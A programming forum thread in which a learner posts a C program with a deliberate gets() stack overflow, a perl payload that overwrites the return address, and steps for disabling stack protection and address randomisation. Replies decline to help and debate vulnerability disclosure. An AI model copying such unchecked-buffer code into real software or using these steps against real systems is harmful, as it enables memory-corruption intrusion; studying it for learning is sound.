Buffer overlow test code - 1 of 10 times works

Hello,


For learning purposes I wrote a small program that illustrates a buffer overflow.
There is nothing special in it, no shellcode, no return2libc, the only I do is to rewrite the return address and jump to another function.
Here is the code:

Code:

#include <stdio.h>
#include <stdlib.h>


void function()
{
    printf("--------------Never called.\n");
}

void f()
{
    char string[8];
    gets(string);
    //printf("REPEAT: %s\n", string);
    //printf("int a: %d, int b: %d\n", a, b);
}

int main()
{
    printf("Address of function is: %08X\n", function);
    f();
    return 0;
}

I am on a 32bit OS;
I think I need to add a "16byte input" to the program and the last 4 byte is what will be the new return value.
An example run:

Code:

perl -e 'print "A" x12; print "\x24\x84\x04\x08"' | ./progi 
Address of function is: 08048424
--------------Never called.

Here we write 8 bytes to buffer, the next 4 bytes (saved ESP), and then the last 4 bytes, the return address.

My problem / question is:
The above (example) output happens rarely. About once in every ten execution.
The other times I get:

Code:

perl -e 'print "A" x12; print "\x24\x84\x04\x08"' | ./progi 
Address of function is: 08048424
Segmentation fault

Once I get:

Code:

perl -e 'print "A" x12; print "\x24\x84\x04\x08"' | ./progi 
Address of function is: 08048424
Illegal instruction

Shouldn't the buffer overflow call the "Never called" function?
I think yes, but not sure, so googled a little and no I think there may be some kind of protection.

My OS:
Debian 6, 32bit.

On the net what i found were:
1) to add -fno-stack-protector to gcc, but nothing changed.
2) "echo 0 > /proc/sys/kernel/randomize_va_space" to turn of the randomization. By default it was 2. The fact is: when turned it off, than the buffer_overflow never worked as espected. What I don't understand why.

So what do you think, should my example work as I think ("never called" function is called)? Why it happens so rarely?
Thanks!

When you play with buffer overflows, you are in the realm of undefined behaviour. That means anything is allowed to happen - and "anything" can include behaviour that varies over time.

Fortunately, more compilers and operating systems are being deliberately designed with countermeasures for such things: specifically slowing down hackers who seek to exploit buffer overflows for malicious purposes. The way you are testing your code is consistent with such styles of hacking, and trying to bypass systemic countermeasures, so I'll say no more.

As a programmer it is your job to know how to write secure code, not to know how to exploit insecure code.
Learning the later does not teach you the former, and I too will take no part in helping you with that.

"and I too will take no part in helping you with that."

OMG what the hell are you talking about?
If I we don't know how these buffer overflow exploits work then how should we know how we can fight against them.
For example if I read an article that says you should add x, and y settings to your kernel to avoid return2libc exploits then how should I know If that protection eliminates attacks like my example? One way is to try this out. That what I tried to do.

Hiding these information is a lie. 'Bad guys' have the information, but If you don't have you won't have the opportunity to know that how secure is you system.

Sharing information is never bad. If someone using that information in a wrong that is bad.

When you said "and I too will take no part in helping you with that." then it seems you think I am "a bad guy wannabe" by that you was abusing me without knowing me.

Czappa ... or should that be C Zapper?

Your indignation appears to be predicated upon the mistaken belief that I (we?) believe your explanation. I for one don't and have chosen to stay out of this thread up to this point.

However, in defense of the good people here, I must say that coding-wise this is a place of honour and helpfulness that has been an enormous benefit to myself and many others and all of it without once discussing how to write virus code.

One does not need how to write exploits to prevent them...

Originally Posted by czappa

If I we don't know how these buffer overflow exploits work then how should we know how we can fight against them.
For example if I read an article that says you should add x, and y settings to your kernel to avoid return2libc exploits then how should I know If that protection eliminates attacks like my example? One way is to try this out. That what I tried to do.

You don't need to know what types of attacks it protects against. It's not like you can tell 'the bad guys' to only use certain types of attacks.

Hiding these information is a lie. 'Bad guys' have the information, but If you don't have you won't have the opportunity to know that how secure is you system.

Actually wannabe hackers gotta start somewhere and several of us have firsthand seen some come to this very site to learn more about it.

Sharing information is never bad.

It's unfortunate that you believe that.

you was abusing me without knowing me.

Refusing to help is not abuse.

"Quote:
Sharing information is never bad.

It's unfortunate that you believe that."

Example1: In the past there were laws in the US, that made harder to share crypto algorithms. Now we laugh that laws, and most of us thinks it is good to share the algorithm (and keep the private in secret). In this way (mathematician) people have the opportunity to find out if the algorithm is weak and we shouldn't use them.

Example2: One bad guy and one good guy discover a bug in a code that came from a big company. The good guy warn the company in secret, but the company doesn't do anything to correct the issue. Now the bad guy has months to attack because of the not corrected code.
But what happens if the good guy warns not just the company but the public as well?
a) We will have the opportunity the protect against the threat;
b) The company is forced to correct the issue in a few days / weeks.
c) It has one drawn back: if an administrator does not protect against the threat and does not update his system when the patch comes out then ... he should not be an administrator.

According these examples I still think sharing information is always good, if someone is not in that mind that ok, of course.

"Refusing to help is not abuse."
True. It is OK. What I didn't like was the justification.

Originally Posted by czappa

"Quote:
Sharing information is never bad.

It's unfortunate that you believe that."

Example1: In the past there were laws in the US, that made harder to share crypto algorithms. Now we laugh that laws, and most of us thinks it is good to share the algorithm. In this way (mathematician) people have the opportunity to find out if the algorithm is weak and we shouldn't use them.

Oh my that sounds so good... really, what a brilliant idea.

Until you realize that you've just handed the bad guy the means to crack your encryption and steal your secrets... From the moment the code goes public, you might just as well save and transmit your data in the open because you know your codes have already been cracked.

Example2: One bad guy and one good guy discover a bug in a code that came from a big company. The good guy warn the company in secret, but the company doesn't do anything to correct the issue. Now the bad guy has months to attack because of the not corrected code.
But what happens if the good guy warns not just the company but the public as well?

Then, you've just told hundreds of would be hackers how to mess with the software; exposing that software's users to a greatly increased risk of system invasions.

According these examples I still think sharing information is always good, if someone is not in that mind that ok, of course.
...
What I didn't like was the justification.

In the world of hugely flawed justifications the one that says "Live in public, live safely" is the number one example. I just love these kiddies posting *everything* on Facebook and YouTube... then they wonder why stalkers get on their case, the house gets robbed, cops come knocking and their parents are throwing hissy fits...

Morning : "My parents just bought me this huge 60" TV set... Cost them nearly 2 grand... he he"
Afternoon: "I'm over at the mall hanging out while my parents do the groceries..."
Evening: "Somebody broke in and stole my new TV set... WTF, I only had it for half a day"

And this poor kid can't figure out how that happened...

The logic behind exposing everything is predicated upon total ignorance of the true evil that exists in this world, mistakenly trusting that only good people are listening, monitoring or on our friends lists...

The reality of life is a far different thing and when you get to be my age and see some of what I've seen... you too will be posting messages like these warning people about the glaring stupidity of trusting secrets and private information to the good will of the public.

The mods should probably lock this thread....

In the Example1 I was talking about 2-key algorithms of course (asynchronous).
Example2:
"Then, you've just told hundreds of would be hackers how to mess with the software;"
And the code will be corrected in a short time, and administrators will have the opportunity to _know_ about the threat and to fight against them.
Keep one thing in mind; you will never be the only person who discovers a bug, but there will be gad guys, too. If you hide the informations then millions out there may think they have a secure system and without knowing the threat they have no chance to protect their systems against it.

If you want to write safe code, you don't need to learn how to exploit.

"If you want to write safe code, you don't need to learn how to exploit."

Correct! However regardless if you write safe code or not, others won't. So from the point of an administrator it is good to know what is the difference between the exploits - to know which protection is effective against which type of exploits.
Yes this is a more a complex question. This forum is about programming so what yo have said is totally true - from the point of the programmer*.

*edit:
However if a programmer wants to write "protection software" then it is good for him to know how these exploits work.
Or "processor designers": For a time processors set the NX bit (No eXecution). These engineers had to know how (some) exploits work. For example this NX bit doesn't allow to execute code from data segment.
This NX feature has to be supported by the OS (if I'm right...) so kernel programmers had to know how the exploits work.
*end of edit

to moderators:
Anyway; this topic is a real offtopic so plese close it.

Originally Posted by czappa

Example1: In the past there were laws in the US, that made harder to share crypto algorithms. Now we laugh that laws, and most of us thinks it is good to share the algorithm (and keep the private in secret). In this way (mathematician) people have the opportunity to find out if the algorithm is weak and we shouldn't use them.

Sure. But in the days when those laws were in place, the "state of the art" had not developed to the form where it was possible to prove whether an algorithm was strong or weak and "do everything we can to make a good algorithm and then prevent access to the algorithm" was actually one of the most effective ways to protect encrypted data. Since it wasn't possible to prove the strength of an algorithm, laws were put in place to make it harder for adversaries to get access to the algorithm.

The point of laws is to provide fallbacks if science, technology, or engineering (or other approaches) are insufficient. Those laws about export of encryption algorithms met that purpose - at the time when the laws were formulated.

Originally Posted by czappa

Example2: One bad guy and one good guy discover a bug in a code that came from a big company. The good guy warn the company in secret, but the company doesn't do anything to correct the issue. Now the bad guy has months to attack because of the not corrected code.
But what happens if the good guy warns not just the company but the public as well?
a) We will have the opportunity the protect against the threat;
b) The company is forced to correct the issue in a few days / weeks.
c) It has one drawn back: if an administrator does not protect against the threat and does not update his system when the patch comes out then ... he should not be an administrator.

It also has the drawback of providing opportunities for other "bad guys" to exploit the issue and cause harm before the issue can be corrected. Those other bad guys may not have months to attack but, by increasing the number of bad guys, the chances of one succeeding in that short period is increased. That is elementary statistics.

And, since there are significant numbers of professional hackers (eg paid by criminal organisations) who are ready to jump on such opportunities, it is actually more dangerous to release such information early.

In any event, while some hackers do attempt to do the right thing, a significant proportion (in fact, probably the greater proportion) do not. Which means that, if we help hackers, we run the risk of helping the bad guys. And we have no evidence to suggest your goals are benign.

Originally Posted by czappa

However if a programmer wants to write "protection software" then it is good for him to know how these exploits work.

That is partly true and partly false.

What you have described is the "bottom up" view of implementing system security: look at how people write exploits, and take steps to prevent those techniques working. That is tactical, it is reactive.

A "top down" approach is to assume that exploits will be written, and design the system so the effects being sought cannot be achieved. It is then not necessary to counter specific exploit techniques.

A top down approach is also required to assume there will be attempts to exploit, and that one or more top-down measures may be insufficient. That means implementing multiple top-down approaches. It is therefore appropriate to to be less than helpful to people seeking to implement exploits, and to encourage programmers do do things using safer techniques that experience shows are difficult to exploit.

In practice, a mix of "top down" and "bottom up" approach is needed to sensibly achieve system security. Without being confident that "top down" measures are in place to reduce the risk of hacking, it would be foolhardy for us to help people with techniques to implement "bottom up" exploits.

Originally Posted by czappa

Or "processor designers": For a time processors set the NX bit (No eXecution). These engineers had to know how (some) exploits work. For example this NX bit doesn't allow to execute code from data segment.
This NX feature has to be supported by the OS (if I'm right...) so kernel programmers had to know how the exploits work.

That's not true.

From a top-down perspective, it is not necessary to know how parts of the data segment may be systematically overwritten in order to exploit ability to execute data (which is what you are seeking to do). It is only necessary to prevent data from being treated as if it was executable code.

Also, from a top-down perspective, we must assume there are unknown flaws, so hardware and operating systems may grant unwanted abilities to users (such as the ability to execute data). Which brings us back to my comment that, from a top-down perspective, it is appropriate to be unhelpful to people seeking information that would allow them to write exploits.